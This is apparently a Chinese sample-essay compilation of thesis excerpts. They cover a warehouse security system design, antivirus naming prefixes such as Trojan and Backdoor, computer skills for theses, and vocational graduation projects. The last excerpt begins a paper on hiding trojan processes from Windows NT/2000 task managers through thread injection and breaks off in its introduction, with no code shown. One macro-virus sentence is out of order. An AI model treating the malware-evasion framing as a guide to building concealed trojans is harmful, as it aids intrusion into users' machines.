倉庫大門的鑰匙管理和開門方法應(yīng)采用較科學(xué)的電子識別手段(如磁卡、IC卡)進(jìn)行控制,倉庫內(nèi)外的溫度和濕度用溫濕度傳感器自動測量和記錄。發(fā)現(xiàn)越限時報警通知管理員,以便于管理員及時采取通風(fēng)降溫和除濕等方法,確保倉儲物品的安全。除此之外,系統(tǒng)還可以對倉儲物品的出入庫、物品訂購合同、財務(wù)信息以及人員信息等內(nèi)容進(jìn)行統(tǒng)一的管理,以提高辦公自動化的程度。

三、系統(tǒng)功能描述

1.定時自動測量和記錄濕度和溫度,并能夠觸發(fā)越界報警;

2.可掛接多種類型的防區(qū),每個防區(qū)可以是震動、雷達(dá)、紅外線等類型的一種;

3.系統(tǒng)對每個警情立即反應(yīng),指出地點、位置等,給出警情所在地的結(jié)構(gòu)圖,并能自動啟動警號、燈光等報警設(shè)備,必要時可立即自動撥號上報上級主管部門;

4.雙IC卡開門,并自動記錄開門時間,持卡者身份等信息;

5.對鑰匙統(tǒng)一管理,記錄取鑰匙的時間,人員等信息;

6.可以進(jìn)行人員管理、倉儲管理、財務(wù)管理、合同管理等內(nèi)容;

7.自動記錄管理員交接班日志,對倉庫的操作也均有記錄;

8.可根據(jù)綜合條件檢索歷史記錄,并可打印輸出。

9.對人員的情況、密碼(管理員)、防區(qū)所接傳感器參數(shù)均可隨時更新。

綜上所述,系統(tǒng)所完成的功能是比較全面的。其中以處理警情的優(yōu)先級最高,一旦發(fā)生警報,應(yīng)立即停止其它事務(wù)性處理工作,轉(zhuǎn)為響應(yīng)處理警報。由于這種系統(tǒng)具有一定的技術(shù)先進(jìn)性、新穎性和實用性,可以對倉儲信息進(jìn)行有效的安全管理。

四、系統(tǒng)的設(shè)計結(jié)構(gòu)

系統(tǒng)實現(xiàn)采用結(jié)構(gòu)化和面向?qū)ο蟮脑O(shè)計技術(shù),硬件結(jié)合了單板機(jī)廉價、穩(wěn)定的優(yōu)點和PC機(jī)大容量、高速度、界面友好的特點,將整個系統(tǒng)分成功能相對獨立的若干子模塊,使系統(tǒng)結(jié)構(gòu)層次分明,結(jié)構(gòu)嚴(yán)謹(jǐn),極易于維護(hù)和使用。由于系統(tǒng)采用結(jié)構(gòu)化設(shè)計,自頂向下逐步分解精化而成,由多個模塊組成,因此可按散件組裝法則根據(jù)現(xiàn)場實際需求,靈活取舍組合系統(tǒng)各組成部件。對于一些特殊要求也可以采用模塊化形式方便地實現(xiàn)其功能的擴(kuò)展,從而形成由低成本、簡單功能到高投入、復(fù)雜功能不同層次的系列產(chǎn)品,但無論怎樣組合均不會降低系統(tǒng)整體性能。系統(tǒng)的邏輯功能結(jié)構(gòu)如圖1所示。

圖1系統(tǒng)功能邏輯結(jié)構(gòu)圖(圖略)

五、操作使用簡介

系統(tǒng)運行于WINDOWS環(huán)境,其界面同時具有字符、圖形、動畫、菜單命令等各種輸入輸出格式,友好且直觀形象,再加上采用了WINDOWS所特有的聯(lián)機(jī)提示和后援幫助作輔助手段,使系統(tǒng)的使用簡單易學(xué),非常便于普及推廣。整個操作可分為四大部分:

1.利用按鈕完成各種控制功能;

2.圖形操作界面,利用鼠標(biāo)代替鍵盤輸入,快速直觀,一學(xué)就會;

3.對記錄的數(shù)據(jù)進(jìn)行綜合條件的檢索,查詢并打印輸出,可用鼠標(biāo)選擇查詢條件;

篇7

(一)木馬病毒、黑客病毒木馬病毒其前綴是:Trojan,黑客病毒前綴名一般為Hack。木馬病毒的公有特性是通過網(wǎng)絡(luò)或者系統(tǒng)漏洞進(jìn)入用戶的系統(tǒng)并隱藏,然后向外界泄露用戶的信息,而黑客病毒則有一個可視的界面,能對用戶的電腦進(jìn)行遠(yuǎn)程控制。木馬、黑客病毒往往是成對出現(xiàn)的,即木馬病毒負(fù)責(zé)侵入用戶的電腦,而黑客病毒則會通過該木馬病毒來進(jìn)行控制?,F(xiàn)在這兩種類型都越來越趨向于整合了。一般的木馬如QQ消息尾巴木馬Trojan.QQ3344,有大家可能遇見比較多的針對網(wǎng)絡(luò)游戲的木馬病毒如Trojan.LMir.PSW.60。這里補充一點,病毒名中有PSW或者什么PWD之類的一般都表示這個病毒有盜取密碼的功能(這些字母一般都為密碼的英文password的縮寫)一些黑客程序如:網(wǎng)絡(luò)梟雄(Hack.Nether.C1ient)等。

(二)宏病毒其實宏病毒是也是腳本病毒的一種,由于它的特殊性,因此在這里單獨算成一類。宏病毒的前綴是:Macro,第二前綴是:Word、Word97、Excel、Excet97(也許還有別的)其中之一。凡是只感染W(wǎng)ORD97及以前版本W(wǎng)ORD文檔的病毒采用Word97作為第二前綴,格式是:Macro.Word97;凡是只感染W(wǎng)ORD97以后版本W(wǎng)ORD文檔的病毒采用Word作為第二前綴,格式是:Macro.Word;凡是只感染EXCEL97及以前版本EXCEL文檔的病毒采用Excel97作為第二前綴,格式是:

(三)腳本病毒腳本病毒的前綴是:Script。腳本病毒的公有特性是使用腳本語言編寫,通過網(wǎng)頁進(jìn)行的傳播的病毒,如紅色代碼(Script.Redlof)可不是我們的老大代碼兄哦。腳本病毒還會有如下前綴:VBS、js(表明是何種腳本編寫的),如歡樂時光(VBS.Happytime)、十四日(Js.Fortnight.C.S)等。推薦閱讀:遠(yuǎn)程開放教育軟件工程專業(yè)畢業(yè)論文

Macro.Excel97;凡是只感染EXCEL97以后版本EXCEL文檔的病毒采用Excel作為第二前綴,格式是:Macro.Excel,依此類推。

(四)后門病毒后門病毒的前綴是:Backdoor。該類病毒的公有特性是通過網(wǎng)絡(luò)傳播,給系統(tǒng)開后門,給用戶電腦帶來安全隱患。如很多朋友遇到過的IRC后f]Backdoor.IRCBot。

(五)破壞性程序病毒破壞性程序病毒的前綴是:Harm。這類病毒的公有特性是本身具有好看的圖標(biāo)來誘惑用戶點擊,當(dāng)用戶點擊這類病毒時,病毒便會直接對用戶計算機(jī)產(chǎn)生破壞。如:格式化c盤(Harm.formatC.f)、殺手命令(Harm.Command.Killer)等。

篇8

1.1 計算機(jī)知識儲備量不足

目前,各高校都開設(shè)有計算機(jī)課程,但仍不能滿足本科畢業(yè)論文實踐的需求。對于本科畢業(yè)論文,主要會用到Office辦公軟件中的Word、Excel、PowerPoint(PPT,Internet文獻(xiàn)數(shù)據(jù)庫,以及文獻(xiàn)管理軟件等。雖然各高校一般都開設(shè)有計算機(jī)基礎(chǔ)類課程,介紹MicrosoftWindows、Office軟件、Internet的使用,但所授內(nèi)容還不能滿足本科畢業(yè)論文實踐的需要。在畢業(yè)論文寫作時,畢業(yè)生往往感到Word文檔的編排非常的麻煩,需要花費相當(dāng)?shù)木蜁r間,也給指導(dǎo)老師增添了不少指導(dǎo)負(fù)擔(dān)。同樣,Excel、PowerPoint、Internet的使用也不盡如人意。除此之外,還有部分軟件知識在已有課程中完全沒有涉及,如文獻(xiàn)管理軟件的使用等。

1.2 計算機(jī)硬件設(shè)施不足

計算機(jī)資源不足嚴(yán)重影響畢業(yè)論文的撰寫。學(xué)生可利用的計算機(jī)資源主要有三種:自有計算機(jī),學(xué)校計算機(jī),網(wǎng)吧計算機(jī)。對自有計算機(jī)而言,雖有調(diào)查表明大學(xué)生電腦的擁有率已達(dá)到50%左右,但對于大多數(shù)來自農(nóng)村的大學(xué)生而言,他們的電腦擁有率依然很低。對學(xué)校計算機(jī)而言,雖然各學(xué)校都建立有計算機(jī)房,但相比于龐大的學(xué)生群體,學(xué)校計算機(jī)依然不能滿足學(xué)生需求,而且學(xué)校計算機(jī)主要用于教學(xué)使用,學(xué)生的使用有時間限制。在這種情況下,許多學(xué)生不得不求助于網(wǎng)吧,而網(wǎng)吧一般不安裝OFFICE辦公軟件,更不會安裝如AutoCAD這種專業(yè)軟件,也無法訪問學(xué)校圖書館數(shù)據(jù)庫。與此同時,畢業(yè)論文的撰寫時間比較集中,往往在一兩個月內(nèi)完成,特別是臨近答辯的幾天里,幾千畢業(yè)生需要計算機(jī)修訂論文,計算機(jī)的緊張程度可想而知。因而,學(xué)生在畢業(yè)論文撰寫過程中,常遇到?jīng)]有計算機(jī)可以使用的情況。

1.3 計算機(jī)使用缺乏指導(dǎo)

學(xué)生進(jìn)行計算機(jī)操作時,缺乏足夠的指導(dǎo)。由于高校擴(kuò)招,學(xué)生數(shù)量急劇增大而教師數(shù)量增加緩慢,導(dǎo)致師生比偏高,嚴(yán)重影響教學(xué)質(zhì)量。作為公共基礎(chǔ)課程,幾千名學(xué)生的教學(xué)工作,往往由十多名教師來完成,師生比甚至高達(dá)1:250,很難說學(xué)生可以充分得到教師的指導(dǎo)在畢業(yè)論文進(jìn)行階段,也同樣遇到師生比過高的問題,經(jīng)常遇到一個老師同時指導(dǎo)十幾名學(xué)生的現(xiàn)象,教師指導(dǎo)任務(wù)重,很難保證指導(dǎo)質(zhì)量。

2.本科畢業(yè)論文實踐中計算機(jī)應(yīng)用需求

2.1 WORD大型文檔編排

畢業(yè)論文是一種較長的文檔,編排難度相對較大般而言,畢業(yè)論文字?jǐn)?shù)要求5000字以上,頁數(shù)一般在10頁以上,編排的版式幾乎與出版社正規(guī)出版的書籍類似。這對于平時很少利用Word軟件的學(xué)生而言,具有很大的難度,需要重新學(xué)習(xí)Word的編排技巧。在論文寫作過程中,也容易出現(xiàn)論文排版上的各種問題。

目前,文檔編排軟件很多,但一般采用Mi-crosoftWord完成.對于Word排版問題,應(yīng)著重解決以下幾方面的問題:①頁面設(shè)置;②文字格式的設(shè)置;③樣式的應(yīng)用;④分節(jié)的設(shè)置;⑤頁眉頁腳的設(shè)置;⑥圖表的繪制;⑦公式的錄入;⑧自動生成目錄。

2.2 Excel表、圖與統(tǒng)計分析

對于大多數(shù)的畢業(yè)論文,都會涉及插入圖表,以及數(shù)據(jù)的統(tǒng)計分析。除文科類論文較少涉及圖表知識外,理工科、農(nóng)科、醫(yī)學(xué)等學(xué)科的大部分畢業(yè)論文,都會涉及圖表的制作以及數(shù)據(jù)的統(tǒng)計分析。在畢業(yè)論文寫作過程中,部分學(xué)生對圖表的制作很是陌生,甚至不知道標(biāo)準(zhǔn)的圖表要求是什么,因而做出來的圖表不僅不美觀,而且也不符合要求。Excel還具有統(tǒng)計分析功能,不僅方便快捷,而且準(zhǔn)確可靠,但不少同學(xué)不知道Excel具有統(tǒng)計學(xué)功能,更不會使用。他們往往采用手算的方法來進(jìn)行統(tǒng)計分析,耗時耗力,而且還容易出錯。

圖表與統(tǒng)計分析,不僅可以采用Excel,也可以采用更為專業(yè)的軟件,如Origin制圖、Sigmaplot制圖、SAS統(tǒng)計分析、SPSS統(tǒng)計分析等,但以Excel更為方便。對于Execl圖表與統(tǒng)計,應(yīng)著重解決以下幾方面的問題:①Excel表格的制作(特別是三線表的制作);②Excel圖表的制作;③Excel函數(shù)與公式;④Excel統(tǒng)計分析工具。除此之外,也可以介紹Origin、Sigmaplot、SAS、SPSS等軟件的使用。

文檔演示畢業(yè)論文答辯時,_般采用PPT展示其研究課題。答辯過程主要包含兩部分,學(xué)生陳述和老師提問。學(xué)生的自主陳述過程,不僅需要其精彩的陳述,更需要映襯陳述的多媒體展示。目前,大多數(shù)學(xué)生往往直接將論文內(nèi)容粘貼到PPT當(dāng)中,卻不知如何精簡和美化,結(jié)果導(dǎo)致PPT臃腫,條理不清晰,沒有層次感。導(dǎo)致這一情況的直接原因就是學(xué)生缺乏PPT制作的技巧。

對于PPT的制作,應(yīng)著重解決以下幾方面的問題:①整體結(jié)構(gòu)設(shè)計;②頁面布局設(shè)計;③色彩搭配設(shè)計;④演講內(nèi)容提煉;⑤媒體元素設(shè)置;⑥動態(tài)效果設(shè)置;⑦播放策略。

2.4 INTERNET文獻(xiàn)檢索

Internet是獲取科技信息非常方便的渠道。畢業(yè)論文的實踐不是閉門造車,而是他人研究成果的繼續(xù)。因而在研究之前需要查閱大量的文獻(xiàn)。文獻(xiàn)資料主要分為兩種資料:文本資料和電子資料。大部分的研究成果是以期刊論文、會議報告、學(xué)位論文等形式最先展示出來的,而這部分資料目前基本都被相關(guān)數(shù)據(jù)庫所收錄,存儲在數(shù)據(jù)服務(wù)器上。利用互聯(lián)網(wǎng)技術(shù),可以非常方便地查閱到所需要的資料。

對于Internet文獻(xiàn)檢索,應(yīng)著重解決以下幾方面的問題:①主要中文期刊數(shù)據(jù)庫;②主要英文期刊數(shù)據(jù)庫;③其它類型數(shù)據(jù)庫(如:電子圖書、電子報紙、會議論文、學(xué)位論文、標(biāo)準(zhǔn)、專利等);④檢索策略;⑤檢索技巧。

2.5 ENDNOTE文獻(xiàn)管理

在畢業(yè)論文撰寫過程中,根據(jù)撰寫需要,要對參考文獻(xiàn)進(jìn)行插入、移動、刪除等各種管理操作。本科畢業(yè)論文的參考文獻(xiàn)數(shù)量一般在20篇左右,而研究生畢業(yè)論文的參考文獻(xiàn)數(shù)量可達(dá)100篇以上,對于如此多的文獻(xiàn),如果采用人工管理的方式,不僅工作量巨大,而且非常容易出錯。通過專業(yè)的文獻(xiàn)管理軟件,可以非常方便地對參考文獻(xiàn)進(jìn)行處理。文獻(xiàn)管理類軟件有多種,如:醫(yī)學(xué)文獻(xiàn)王、風(fēng)^-express、Endnote、Referencemanager、Notefirst等。不同軟件有自己的特點和優(yōu)勢,重點推薦Endnote文獻(xiàn)管理軟件,當(dāng)然像Notefrst這種推出時間較短的國內(nèi)免費軟件,也有不錯的口碑。

以Endnote文獻(xiàn)管理軟件為例,應(yīng)著重解決以下幾方面問題:①參考文獻(xiàn)格式標(biāo)準(zhǔn);②創(chuàng)建End-note圖書館;③文獻(xiàn)信息錄入;④Word中使用文獻(xiàn)格式模板設(shè)置;⑥高級應(yīng)用。

3.本科畢業(yè)論文實踐中的計算機(jī)應(yīng)用指導(dǎo)

3.1 加強計算機(jī)教育課程建設(shè)

通過調(diào)整課程設(shè)置和課程內(nèi)容,引入相關(guān)計算機(jī)教育內(nèi)容。同時,提高教學(xué)質(zhì)量和水平,加強學(xué)生計算機(jī)實踐能力的培養(yǎng)。在《計算機(jī)基礎(chǔ)》課程中,要將Office辦公軟件引入到課程中,并要達(dá)到一定的應(yīng)用水準(zhǔn)。在《試驗設(shè)計與統(tǒng)計分析》課程中,可以引入Excel和SAS等軟件知識。在《文獻(xiàn)檢索》課程中,可以引入Internet的使用,數(shù)據(jù)庫查詢和Endnote軟件等知識。在其它專業(yè)課程中,凡涉及到計算機(jī)內(nèi)容的,也要盡可能進(jìn)行上機(jī)訓(xùn)練,提高計算機(jī)應(yīng)用能力。

3.2 加強計算機(jī)專業(yè)知識講座

通過專題講座的形式,講解畢業(yè)論文實踐過程中所使用的軟件知識。在畢業(yè)論文撰寫期間,可以通過專題講座,具有針對性地進(jìn)行輔導(dǎo)。因此,學(xué)生可以及時的了解相關(guān)知識,并立即加以應(yīng)用。除了現(xiàn)場的講座形式外,還可以利用網(wǎng)絡(luò)的優(yōu)勢,建立網(wǎng)上學(xué)習(xí)平臺,將學(xué)習(xí)資源放在網(wǎng)絡(luò)上,學(xué)生可以隨時查詢相關(guān)計算機(jī)應(yīng)用知識。

3.3 加強計算機(jī)硬件建設(shè)

加大計算機(jī)硬件設(shè)施的投入力度,優(yōu)化計算機(jī)機(jī)房管理,提高計算機(jī)利用效率。根據(jù)學(xué)校人數(shù)和計算機(jī)使用的實際情況,合理投入資金進(jìn)行計算機(jī)房的建設(shè),增加計算機(jī)的臺套數(shù)。其次,制定合理的管理措施,適當(dāng)延長計算機(jī)房的使用時間,提高計算機(jī)房的利用效率,減少計算機(jī)的非學(xué)習(xí)性占用。

3.4 加強指導(dǎo)老師的指導(dǎo)職責(zé)

制定畢業(yè)論文指導(dǎo)教師的考核體系,強化指導(dǎo)教師的責(zé)任意識,督促教師加強對學(xué)生的指導(dǎo)。從學(xué)校和學(xué)院兩個層次,學(xué)校層次要做好畢業(yè)論文指導(dǎo)的全面工作,同時要對計算機(jī)應(yīng)用指導(dǎo)工作提出明確統(tǒng)_的要求,學(xué)院則有必要對學(xué)校的規(guī)定做出具體的安排和實施辦法。

篇9

畢業(yè)設(shè)計是所有工科人才培養(yǎng)方案中規(guī)定的重要實踐性教學(xué)環(huán)節(jié),高等職業(yè)技術(shù)學(xué)院也不例外。通過該環(huán)節(jié)的教學(xué)使學(xué)生能夠綜合運用所學(xué)理論知識分析、解決實際工程問題,初步掌握設(shè)計的一般流程和方法,在設(shè)計態(tài)度、工程思想、實踐能力等方面得到系統(tǒng)的鍛煉和提高,為步入工作崗位打下良好的基礎(chǔ)。畢業(yè)設(shè)計的質(zhì)量在一定程度上反映了學(xué)生的專業(yè)知識水平、工程素質(zhì)以及綜合運用各種知識的能力;也在一定程度上體現(xiàn)了指導(dǎo)教師的治學(xué)態(tài)度、學(xué)術(shù)水平和指導(dǎo)設(shè)計工作的能力;同時也從一個側(cè)面表明了學(xué)校的教學(xué)質(zhì)量和管理水平[1].尤其對于工科學(xué)生而言,畢業(yè)設(shè)計是他們走上工作崗位前的一次預(yù)演,應(yīng)該引起足夠的重視

 

1.當(dāng)前高等職業(yè)技術(shù)學(xué)院畢業(yè)設(shè)計(論文)存在的問題

 

1.1 學(xué)生思想重視不夠, 投入精力不足

 

由于目前就業(yè)形勢嚴(yán)峻, 一部分學(xué)生忙于參加各種各樣的招聘會和公司面試, 在畢業(yè)設(shè)計環(huán)節(jié)上投入精力甚微。畢業(yè)設(shè)計的時間與實習(xí)、頂崗或長升本(接本)時間重合,在兩者不可兼顧的情況下, 多數(shù)學(xué)生都選擇了工作或接本為主, 而不是做畢業(yè)設(shè)計。

 

1.2 選題不恰當(dāng)

 

選題恰當(dāng)是做好畢業(yè)設(shè)計( 論文) 的前提, 我院制訂的"無錫商業(yè)職業(yè)技術(shù)學(xué)院物聯(lián)網(wǎng)技術(shù)學(xué)院??粕厴I(yè)設(shè)計( 論文) 工作的若干規(guī)定"規(guī)定了選題的基本原則。

 

盡管如此, 但是選題不當(dāng)?shù)那闆r仍然時有發(fā)生, 表現(xiàn)在:(1) 論文題目大多由指導(dǎo)教師給定,學(xué)生并不感興趣, 因此更談不上對題目的意義有比較深入的思考; (2) 論文題目與學(xué)生的發(fā)展方向不一致。例如有的學(xué)生是軟件方向的, 但指導(dǎo)教師指定的題目卻是硬件方向的等等, 對于所用到的一些技術(shù)學(xué)生知之甚少; (3) 論文選題陳舊,圖書管理系統(tǒng)題、學(xué)生管理系統(tǒng)等類似的題已經(jīng)做了多少年了, 每年都在做, 又沒有發(fā)展, 毫無創(chuàng)新性可言; (4) 選題脫離社會實踐, 所使用的技術(shù)屬于基本已經(jīng)淘汰的技術(shù), 對學(xué)生綜合能力培養(yǎng)的幫助不大;

 

1.3 指導(dǎo)教師缺乏經(jīng)驗, 指導(dǎo)強度大

 

由于計算機(jī)專業(yè)發(fā)展比較晚, 具有豐富項目實踐經(jīng)驗的老教師十分稀缺。而隨著近幾年計算機(jī)專業(yè)擴(kuò)招, 高校引入了大批的年輕的畢業(yè)生充實教師隊伍, 這些年輕教師本身充滿活力, 敢想敢干, 不足之處在于他們多是畢業(yè)后直接從事教學(xué)工作, 實際的工程項目實踐經(jīng)驗不足, 而計算機(jī)專業(yè)本身是一個實踐性要求很強的專業(yè), 沒有這些實踐體會, 就很難理解軟件開發(fā)過程、軟件技術(shù)如何應(yīng)用到生產(chǎn)這些問題, 從而影響了畢業(yè)設(shè)計的質(zhì)量;

 

1.4 畢業(yè)設(shè)計過程缺乏監(jiān)督

 

一般按慣例, 指導(dǎo)教師與學(xué)生之間每星期至少應(yīng)見面兩次, 了解學(xué)生畢業(yè)設(shè)計的進(jìn)展情況。然而由于受到學(xué)生找工作、升本(接本)等特殊情況的影響, 很難堅持下來。學(xué)生缺乏主動性, 不愿意主動找指導(dǎo)教師交流, 因此使得畢業(yè)設(shè)計的過程缺乏監(jiān)督。

 

1.5 論文抄襲現(xiàn)象時有發(fā)生

 

我校對論文抄襲現(xiàn)象處置甚嚴(yán), 這也是對學(xué)生實事求是的科學(xué)態(tài)度和嚴(yán)肅認(rèn)真的工作作風(fēng)的培養(yǎng), 然而, 部分學(xué)生報著僥幸和偷懶心理, 往往將網(wǎng)絡(luò)上檢索到的多篇論文稍加修改, 重新組織加工, 從而就變成了自己的畢業(yè)論文。有的學(xué)生甚至一字不改, 原文照搬。

 

總的說來,目前有的高等職業(yè)技術(shù)院校的畢業(yè)設(shè)計(論文)工作中的主要問題是少了一點“規(guī)矩”,即使有規(guī)矩也是“老規(guī)矩”。對隨著教育和教學(xué)改革的深化而出現(xiàn)的新情況遇到的新問題,缺乏深入的研究和及時的改革。

 

2.畢業(yè)設(shè)計(論文)的定位

 

計算機(jī)應(yīng)用專業(yè)是一門綜合性非常高的學(xué)科,該專業(yè)軟件、硬件及系統(tǒng)的開發(fā)、應(yīng)用、維護(hù)等工程領(lǐng)域,是一個縱向較深,橫向較廣的復(fù)合性、綜合性專業(yè)。畢業(yè)設(shè)計(論文)是學(xué)生綜合運用所學(xué)知識,分析、解決實際問題,培養(yǎng)獨立思考、獨立工作的能力,接受高等職業(yè)技術(shù)人員所必需能力的基本訓(xùn)練的重要教學(xué)環(huán)節(jié)。畢業(yè)設(shè)計(論文)首先具有教學(xué)與教育功能,是實現(xiàn)專業(yè)培養(yǎng)目標(biāo),對學(xué)生進(jìn)行設(shè)計科學(xué)教育,培養(yǎng)探求真理的科學(xué)精神,強化工程意識,進(jìn)行工程基本訓(xùn)練,提高學(xué)生科學(xué)研究能力、工程實踐能力、創(chuàng)新能力和經(jīng)濟(jì)意識的重要階段;是培養(yǎng)學(xué)生優(yōu)良思想品質(zhì),進(jìn)行綜合素質(zhì)教育的全面檢驗。其次,畢業(yè)設(shè)計(論文)成果具有直接或間接為經(jīng)濟(jì)建設(shè)服務(wù),為生產(chǎn)、科研服務(wù)的社會功能。隨著教育和教學(xué)改革的深化,對人才培養(yǎng)模式的改革,專業(yè)的拓寬改造,對人才培養(yǎng)提出了新的更高要求,我們更應(yīng)高度重視畢業(yè)設(shè)計(論文)的基本要求和質(zhì)量評價,使學(xué)生更清楚地知道怎樣主動做好畢業(yè)設(shè)計(論文),使指導(dǎo)教師更清楚地知道如何對學(xué)生進(jìn)行指導(dǎo),使管理人員知道怎樣抓住實質(zhì)問題管理到位,以保證畢業(yè)設(shè)計(論文)的質(zhì)量。

 

3.有關(guān)應(yīng)對措施

 

3.1 加強學(xué)生思想教育

 

如何提高高校畢業(yè)設(shè)計的質(zhì)量, 已成為一個日益引起教育界關(guān)注的話題。筆者陋見, 根本措施應(yīng)當(dāng)是加強學(xué)生教育, 使學(xué)生引起重視。其實多數(shù)高校和指導(dǎo)教師對于加強學(xué)生思想教育的重要性都深有體會, 但具體實施起來總覺得效果不如想象中好, 關(guān)鍵是在于“循循善誘”幾個字。筆者今年指導(dǎo)的幾個學(xué)生中, 也有個別學(xué)生對畢業(yè)設(shè)計重視不夠,設(shè)計時敷衍了事, 做好畢業(yè)設(shè)計,是為了對自己四年學(xué)習(xí)劃上一個圓滿的句號, 也是對個人責(zé)任心的一次考驗, 從而端正了態(tài)度, 主動性大大提高。

 

3.2 在畢業(yè)設(shè)計之前做專題講座

 

由于學(xué)生都是第一次參加畢業(yè)設(shè)計, 所以對如何進(jìn)入狀態(tài), 開始畢業(yè)設(shè)計工作, 如何查閱資料, 如何分階段完成, 如何撰寫開題報告和畢業(yè)論文, 如何對畢業(yè)論文的章節(jié)規(guī)劃、內(nèi)容安排和格式規(guī)范等知識缺乏認(rèn)識, 因此在畢業(yè)設(shè)計之前有必要做專門針對畢業(yè)設(shè)計如何開展的專題講座。

 

3.3 選題是關(guān)鍵, 鼓勵學(xué)生到企業(yè)進(jìn)行畢業(yè)設(shè)計

 

選題是整個畢業(yè)設(shè)計(論文)的核心, 正確、恰當(dāng)?shù)剡x題是做好畢業(yè)設(shè)計(論文)的前提, 應(yīng)首先把好選題關(guān)。在我系首先原則上把一人一題作為選題工作的重要原則少數(shù)課題比較大時, 可以分成幾個小課題, 但必須保證每個學(xué)生都是單獨完成自己的課題,防止學(xué)生互相“幫忙”的發(fā)生。

 

畢業(yè)設(shè)計(論文)題目需經(jīng)過教研室討論、教研室主任審核、系主任批準(zhǔn)。對于一些過易、任務(wù)過輕或所使用的是一些過時技術(shù)的題, 堅決要求進(jìn)行重選。通過這些做法,保證了畢業(yè)設(shè)計(論文)題目的質(zhì)量, 學(xué)生也反映良好。

 

開展學(xué)生畢業(yè)設(shè)計的一種新做法, 是讓學(xué)生到就業(yè)單位去做畢業(yè)設(shè)計, 利用企業(yè)的經(jīng)費、場地和技術(shù)力量, 完成企業(yè)需要的技術(shù)課題, 實行校企聯(lián)合指導(dǎo)方式。一方面, 可培養(yǎng)學(xué)生工程設(shè)計和科學(xué)研究能力及團(tuán)隊合作精神, 使學(xué)生了解和掌握實際工程設(shè)計和科研的全過程;另一方面,工作單位的實際課題, 任務(wù)明確, 要求具體, 時間性強, 能激發(fā)學(xué)生的工作熱情和主動性, 增強學(xué)生的事業(yè)心和責(zé)任感。同時, 便于用人單位和學(xué)生較早互相了解, 有利于學(xué)生就業(yè)后盡早地進(jìn)人工作角色。我系目前對于這種新的指導(dǎo)方式正進(jìn)行嘗試和摸索,從目前的效果來看,很受學(xué)生和用人單位的歡迎。[2]

 

3.4 過程管理很重要

 

開題報告完成以后, 就進(jìn)入了漫長的實際設(shè)計過程。要增強對學(xué)生的監(jiān)督和督促機(jī)制, 防止學(xué)生偷懶。其一,要增強指導(dǎo)教師的責(zé)任感;其二,可引入現(xiàn)在一些軟件公司常用的做法,要求學(xué)生寫周報,讓學(xué)生每周對自己畢業(yè)設(shè)計的工作進(jìn)展, 取得的成果或碰到的困難做一次記錄。這樣既避免了學(xué)生臨時報佛腳,不做設(shè)計只寫論文的情況發(fā)生,又使學(xué)生的整個設(shè)計過程都有案可查, 增加了對畢業(yè)設(shè)計評分的合理性和公正性。[3]

 

3.5 如何杜絕論文抄襲現(xiàn)象

 

論文抄襲是學(xué)術(shù)界十分不齒的行為,應(yīng)當(dāng)給學(xué)生灌輸這種思想。學(xué)生大多都是第一次撰寫學(xué)術(shù)論文,一旦養(yǎng)成了抄襲的壞毛病,則日后對己對人都貽害無窮。一方面,應(yīng)當(dāng)將“對畢業(yè)論文抄襲進(jìn)行嚴(yán)厲懲罰”寫入到畢業(yè)論文的要求規(guī)范當(dāng)中去,一旦發(fā)現(xiàn),絕不姑息;另一方面,指導(dǎo)教師可通過耐心教導(dǎo),擊潰學(xué)生的僥幸心理,讓學(xué)生明白,抄襲的論文是無所遁形的。

 

3.6 改善評判學(xué)生畢業(yè)設(shè)計質(zhì)量

 

學(xué)生的畢業(yè)設(shè)計質(zhì)量由兩部分來衡量:

 

一是設(shè)計成果的質(zhì)量, 包括軟件的功能、所采用的開發(fā)技術(shù)、人機(jī)界面等部分組成, 可通過現(xiàn)場演示和答辯來評分;

 

二是畢業(yè)論文質(zhì)量,根據(jù)課題完成情況和答辯情況由指導(dǎo)教師、評閱教師和答辯小組分別按畢業(yè)設(shè)計(論文)評閱、評審評分標(biāo)準(zhǔn)采用“結(jié)構(gòu)分”進(jìn)行評定,其中指導(dǎo)教師成績占30%,評閱教師成績占30%,答辯小組成績占 40%

 

(1)指導(dǎo)教師評定成績

 

根據(jù)指導(dǎo)教師評審評分標(biāo)準(zhǔn)從學(xué)生工作量、工作態(tài)度、技術(shù)方案、分析與解決問題的能力、設(shè)計(論文)質(zhì)量、創(chuàng)新等方面進(jìn)行評定。

 

(2)評閱教師評閱成績

 

根據(jù)省教育廳的有關(guān)文件精神,要求每位學(xué)生的畢業(yè)設(shè)計(論文)必須由兩位熟悉相應(yīng)課題內(nèi)容的教師(可以是外聘教師)進(jìn)行評閱,評閱評分標(biāo)準(zhǔn)從畢業(yè)設(shè)計(論文)內(nèi)容、學(xué)生工作水平以及論文撰寫規(guī)范共同確定,每位評閱教師必須單獨填寫評閱表。

 

(3)答辯

 

成績主要由答辯小組根據(jù)答辯評審評分標(biāo)準(zhǔn)從學(xué)生的報告內(nèi)容、報告過程、回答問題以及學(xué)生在畢業(yè)設(shè)計 (論文) 中的創(chuàng)新等方面進(jìn)行評定。畢業(yè)設(shè)計(論文)成績按優(yōu)秀(>85分)、良好(75分一84分)、中等(66 分一74分)、及格(60分一65分)、不及格(60分以下)五級分評定,其中優(yōu)秀比例控制在 20%以內(nèi)。[4]

 

篇10

關(guān)鍵字進(jìn)程線程木馬動態(tài)鏈接庫

木馬程序(也稱后門程序)是能被控制的運行在遠(yuǎn)程主機(jī)上的程序,由于木馬程序是運行在遠(yuǎn)程主機(jī)上,所以進(jìn)程的隱藏?zé)o疑是大家關(guān)心的焦點。

本文分析了WindowsNT/2000系統(tǒng)下進(jìn)程隱藏的基本技術(shù)和方法,并著重討論運用線程嫁接技術(shù)如何實現(xiàn)WindowsNT/2000系統(tǒng)中進(jìn)程的隱藏。

1基本原理

在WIN95/98中,只需要將進(jìn)程注冊為系統(tǒng)服務(wù)就能夠從進(jìn)程查看器中隱形,可是這一切在WindowsNT/2000中卻完全不同,無論木馬從端口、啟動文件上如何巧妙地隱藏自己,始終都不能躲過WindowsNT/2000的任務(wù)管理器,WindowsNT/2000的任務(wù)管理器均能輕松顯示出木馬進(jìn)程,難道在WindowsNT/2000下木馬真的再也無法隱藏自己的進(jìn)程了?我們知道,在WINDOWS系統(tǒng)下,可執(zhí)行文件主要是Exe和Com文件,這兩種文件在運行時都有一個共同點,會生成一個獨立的進(jìn)程,尋找特定進(jìn)程是我們發(fā)現(xiàn)木馬的方法之一,隨著入侵檢測軟件的不斷發(fā)展,關(guān)聯(lián)進(jìn)程和SOCKET已經(jīng)成為流行的技術(shù),假設(shè)一個木馬在運行時被檢測軟件同時查出端口和進(jìn)程,我們基本上認(rèn)為這個木馬的隱藏已經(jīng)完全失敗。在WindowsN